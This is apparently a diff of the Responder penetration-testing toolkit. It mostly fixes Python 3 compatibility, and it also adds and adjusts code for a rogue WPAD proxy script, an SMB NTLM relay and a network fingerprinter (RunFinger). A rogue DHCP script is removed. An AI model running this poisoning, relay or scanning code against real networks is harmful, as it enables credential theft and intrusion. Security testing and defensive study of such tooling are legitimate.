self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
|
||||
|
||||
if self.Serve_Exe == True:
|
||||
if not os.path.exists(self.Html_Filename):
|
||||
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||
@@ -158,11 +260,15 @@ class Settings:
|
||||
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||
|
||||
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||
#add a .local to all provided DontRespondToName
|
||||
self.MDNSTLD = ['.LOCAL']
|
||||
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
|
||||
#Generate Random stuff for one Responder session
|
||||
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
||||
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
||||
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
||||
self.DomainName = self.Domain + '.LOCAL'
|
||||
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
|
||||
self.RPCPort = random.randrange(45000, 49999)
|
||||
@@ -172,43 +278,6 @@ class Settings:
|
||||
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||
self.AutoIgnoreList = []
|
||||
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
if self.ExternalIP:
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
|
||||
if self.HtmlToInject is None:
|
||||
self.HtmlToInject = ''
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.Bind_To_ALL = True
|
||||
else:
|
||||
self.Bind_To_ALL = False
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||
else:
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
# Set up Challenge
|
||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||
if self.NumChal.lower() == 'random':
|
||||
@@ -246,7 +315,14 @@ class Settings:
|
||||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
|
||||
# First time Responder run?
|
||||
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
|
||||
pass
|
||||
else:
|
||||
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
|
||||
Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
|
||||
|
||||
try:
|
||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||
except:
|
||||
@@ -269,7 +345,7 @@ class Settings:
|
||||
RoutingInfo = "Error fetching Routing information:", ex
|
||||
pass
|
||||
|
||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||
try:
|
||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
|
||||
@@ -1,63 +0,0 @@
|
||||
#!/bin/bash
|
||||
# This file is part of Responder. laurent.gaffie@gmail.com
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# This script will try to auto-detect network parameters
|
||||
# to run the rogue DHCP server, to inject only your IP
|
||||
# address as the primary DNS server and WPAD server and
|
||||
# leave everything else normal.
|
||||
|
||||
if [ -z $1 ]; then
|
||||
echo "usage: $0 <interface>"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ $EUID -ne 0 ]; then
|
||||
echo "Must be run as root."
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ ! -d "/sys/class/net/$1" ]; then
|
||||
echo "Interface does not exist."
|
||||
exit
|
||||
fi
|
||||
|
||||
INTF=$1
|
||||
PATH="$PATH:/sbin"
|
||||
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
|
||||
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
|
||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
||||
DNS1=$IPADDR
|
||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
||||
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
||||
WPADSTR="http://$IPADDR/wpad.dat"
|
||||
if [ -z "$DOMAIN" ]; then
|
||||
DOMAIN=" "
|
||||
fi
|
||||
|
||||
echo "Running with parameters:"
|
||||
echo "INTERFACE: $INTF"
|
||||
echo "IP ADDR: $IPADDR"
|
||||
echo "NETMAST: $NETMASK"
|
||||
echo "ROUTER IP: $ROUTER"
|
||||
echo "DNS1 IP: $DNS1"
|
||||
echo "DNS2 IP: $DNS2"
|
||||
echo "WPAD: $WPADSTR"
|
||||
echo ""
|
||||
|
||||
|
||||
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
||||
@@ -29,7 +29,7 @@ import time
|
||||
import random
|
||||
import subprocess
|
||||
from threading import Thread
|
||||
if PY2OR3 is "PY3":
|
||||
if PY2OR3 == "PY3":
|
||||
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
@@ -159,13 +159,13 @@ Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
@@ -446,12 +446,12 @@ class SMBRelay(BaseRequestHandler):
|
||||
data = self.request.recv(4096)
|
||||
|
||||
## Make sure it's not a Kerberos auth.
|
||||
if data.find(b'NTLM') is not -1:
|
||||
if data.find(b'NTLM') != -1:
|
||||
## Start with nego protocol + session setup negotiate to our target.
|
||||
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
||||
|
||||
## Make sure it's not a Kerberos auth.
|
||||
if data.find(b'NTLM') is not -1:
|
||||
if data.find(b'NTLM') != -1:
|
||||
##Relay all that to our client.
|
||||
if data[8:10] == b'\x73\x00':
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
||||
|
||||
@@ -66,20 +66,20 @@ class Packet():
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
@@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s):
|
||||
Output = ExtractRPCCommandOutput(data)[12:]
|
||||
while True:
|
||||
dataoffset = dataoffset + buffsize
|
||||
if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag
|
||||
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag
|
||||
LastFragLen = struct.unpack('<h', data[61:63])[0]
|
||||
if LastFragLen < 1024:
|
||||
Output += ExtractRPCCommandOutput(data)
|
||||
@@ -646,7 +646,7 @@ def MimiKatzRPC(Command, f, host, data, s):
|
||||
Output += ExtractRPCCommandOutput(data)
|
||||
break
|
||||
|
||||
if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag
|
||||
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag
|
||||
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
|
||||
Output += ExtractRPCCommandOutput(data)
|
||||
break
|
||||
|
||||
@@ -45,7 +45,7 @@ else:
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
|
||||
@@ -3,7 +3,10 @@ try:
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
@@ -17,29 +17,36 @@
|
||||
import re,sys,struct
|
||||
import datetime
|
||||
import multiprocessing
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
import os
|
||||
import errno
|
||||
import optparse
|
||||
import sqlite3
|
||||
from RunFingerPackets import *
|
||||
__version__ = "1.2"
|
||||
from odict import OrderedDict
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
__version__ = "1.8"
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||
|
||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||
#Way better to have grepable output by default...
|
||||
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
||||
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
|
||||
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.TARGET is None:
|
||||
if options.TARGET == None and options.Filename == None:
|
||||
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
Timeout = 2
|
||||
Timeout = options.Timeout
|
||||
Host = options.TARGET
|
||||
SMB1 = "Enabled"
|
||||
Filename = options.Filename
|
||||
SMB1 = "True"
|
||||
SMB2signing = "False"
|
||||
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
@@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
|
||||
else:
|
||||
PY2OR3 = "PY2"
|
||||
|
||||
|
||||
if not os.path.exists(DB):
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 == "PY2":
|
||||
@@ -92,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
|
||||
|
||||
def SMB2SigningMandatory(data):
|
||||
global SMB2signing
|
||||
if data[70] == "\x03":
|
||||
if data[70:71] == b"\x03":
|
||||
SMB2signing = "True"
|
||||
else:
|
||||
SMB2signing = "False"
|
||||
@@ -115,7 +129,23 @@ def WorkstationFingerPrint(data):
|
||||
def GetOsBuildNumber(data):
|
||||
ProductBuild = struct.unpack("<h",data)[0]
|
||||
return ProductBuild
|
||||
|
||||
def SaveRunFingerToDb(result):
|
||||
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(DB)
|
||||
cursor.text_factory = sqlite3.Binary
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
||||
data = data.encode('latin-1')
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
@@ -130,7 +160,22 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
||||
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
||||
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
||||
DomainGrab((host, 445))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
|
||||
RDP = IsServiceOn((host,3389))
|
||||
SQL = IsServiceOn((host,1433))
|
||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB2]',
|
||||
'Host': host,
|
||||
'WindowsVersion': WindowsVers,
|
||||
'OsVer': str(WindowsBuildVers),
|
||||
'DomainJoined': Domain,
|
||||
'Bootime': Bootime,
|
||||
'Signing': signing,
|
||||
'NullSess': 'N/A',
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': SMB1,
|
||||
'MSSQL': SQL
|
||||
})
|
||||
|
||||
def GetBootTime(data):
|
||||
data = data.encode('latin-1')
|
||||
@@ -151,15 +196,15 @@ def IsDCVuln(t, host):
|
||||
Date = datetime.datetime(2017, 3, 14, 0, 30)
|
||||
if t[0] < Date:
|
||||
return("This system may be vulnerable to MS17-010")
|
||||
return("Last restart: "+t[1])
|
||||
return(t[1])
|
||||
|
||||
#####################
|
||||
|
||||
def IsSigningEnabled(data):
|
||||
if data[39] == "\x0f":
|
||||
return True
|
||||
if data[39:40] == b"\x0f":
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
@@ -169,7 +214,10 @@ def dtoa(d):
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||
if PY2OR3 == "PY3":
|
||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||
else:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
if length > 255:
|
||||
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
@@ -189,14 +237,13 @@ def GetHostnameAndDomainName(data):
|
||||
Hostname = data[113:].decode('latin-1')
|
||||
return Hostname, DomainJoined
|
||||
except:
|
||||
pass
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
|
||||
def DomainGrab(Host):
|
||||
global SMB1
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(0.7)
|
||||
s.connect(Host)
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
@@ -209,18 +256,19 @@ def DomainGrab(Host):
|
||||
return GetHostnameAndDomainName(data)
|
||||
except IOError as e:
|
||||
if e.errno == errno.ECONNRESET:
|
||||
SMB1 = "Disabled"
|
||||
SMB1 = "False"
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def SmbFinger(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
@@ -245,8 +293,8 @@ def SmbFinger(Host):
|
||||
|
||||
def check_smb_null_session(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
@@ -280,9 +328,9 @@ def check_smb_null_session(host):
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == b'\x75\x00':
|
||||
return True
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
@@ -290,19 +338,19 @@ def check_smb_null_session(host):
|
||||
#SMB2 part:
|
||||
|
||||
def ConnectAndChoseSMB(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(0.7)
|
||||
s.connect(host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
except:
|
||||
return None
|
||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||
n = SMBNego(Data = SMB2NegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(4096)
|
||||
return False
|
||||
if ParseNegotiateSMB2Ans(data):
|
||||
try:
|
||||
while True:
|
||||
@@ -316,7 +364,7 @@ def ConnectAndChoseSMB(host):
|
||||
return False
|
||||
|
||||
def handle(data, host):
|
||||
if data[28] == "\x00":
|
||||
if data[28:29] == "\x00":
|
||||
a = SMBv2Head()
|
||||
a.calculate()
|
||||
b = SMBv2Negotiate()
|
||||
@@ -325,7 +373,7 @@ def handle(data, host):
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
return buffer0
|
||||
|
||||
if data[28] == "\x01":
|
||||
if data[28:29] == "\x01":
|
||||
global Bootime
|
||||
SMB2SigningMandatory(data)
|
||||
Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0])
|
||||
@@ -337,71 +385,87 @@ def handle(data, host):
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
return buffer0
|
||||
|
||||
if data[28] == "\x02":
|
||||
if data[28:29] == "\x02":
|
||||
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
||||
|
||||
##################
|
||||
#run it
|
||||
def ShowResults(Host):
|
||||
if ConnectAndChoseSMB((Host,445)) == False:
|
||||
try:
|
||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("Retrieving information for %s..."%(Host)))
|
||||
print(("SMB signing: %s"%(Signing)))
|
||||
print(("Null Sessions Allowed: %s"%(NullSess)))
|
||||
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
||||
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
||||
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def ShowSmallResults(Host):
|
||||
if ConnectAndChoseSMB((Host,445)) == False:
|
||||
try:
|
||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
|
||||
RDP = IsServiceOn((Host,3389))
|
||||
SQL = IsServiceOn((Host,1433))
|
||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
|
||||
SaveRunFingerToDb({
|
||||
'Protocol': '[SMB1]',
|
||||
'Host': Host,
|
||||
'WindowsVersion':OsVer,
|
||||
'OsVer': OsVer,
|
||||
'DomainJoined':DomainJoined,
|
||||
'Bootime': 'N/A',
|
||||
'Signing': Signing,
|
||||
'NullSess': NullSess,
|
||||
'IsRDPOn':RDP,
|
||||
'SMB1': 'True',
|
||||
'MSSQL': SQL
|
||||
})
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def IsRDPOn(Host):
|
||||
def IsServiceOn(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.settimeout(Timeout)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
if s:
|
||||
return True
|
||||
return 'True'
|
||||
else:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
except Exception as err:
|
||||
return False
|
||||
return 'False'
|
||||
|
||||
|
||||
def RunFinger(Host):
|
||||
m = re.search("/", str(Host))
|
||||
if m:
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
"""
|
||||
if options.grep_output:
|
||||
func = ShowSmallResults
|
||||
else:
|
||||
func = ShowResults
|
||||
"""
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
p = multiprocessing.Process(target=func, args=((host),))
|
||||
threads.append(p)
|
||||
p.start()
|
||||
else:
|
||||
ShowSmallResults(Host)
|
||||
|
||||
|
||||
if Filename != None:
|
||||
with open(Filename) as fp:
|
||||
Line = fp.read().splitlines()
|
||||
for Ln in Line:
|
||||
m = re.search("/", str(Ln))
|
||||
if m:
|
||||
net,_,mask = Ln.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
Pool = multiprocessing.Pool(processes=250)
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
proc = Pool.apply_async(func, ((host),))
|
||||
threads.append(proc)
|
||||
for proc in threads:
|
||||
proc.get()
|
||||
else:
|
||||
ShowSmallResults(Ln)
|
||||
|
||||
if Filename == None:
|
||||
m = re.search("/", str(Host))
|
||||
if m:
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
threads = []
|
||||
Pool = multiprocessing.Pool(processes=250)
|
||||
func = ShowSmallResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
proc = Pool.apply_async(func, ((host),))
|
||||
threads.append(proc)
|
||||
for proc in threads:
|
||||
proc.get()
|
||||
else:
|
||||
ShowSmallResults(Host)
|
||||
|
||||
|
||||
RunFinger(Host)
|
||||
|
||||
@@ -11,7 +11,7 @@ else:
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
|
||||
@@ -47,20 +47,20 @@ SMB1 = "Enabled"
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
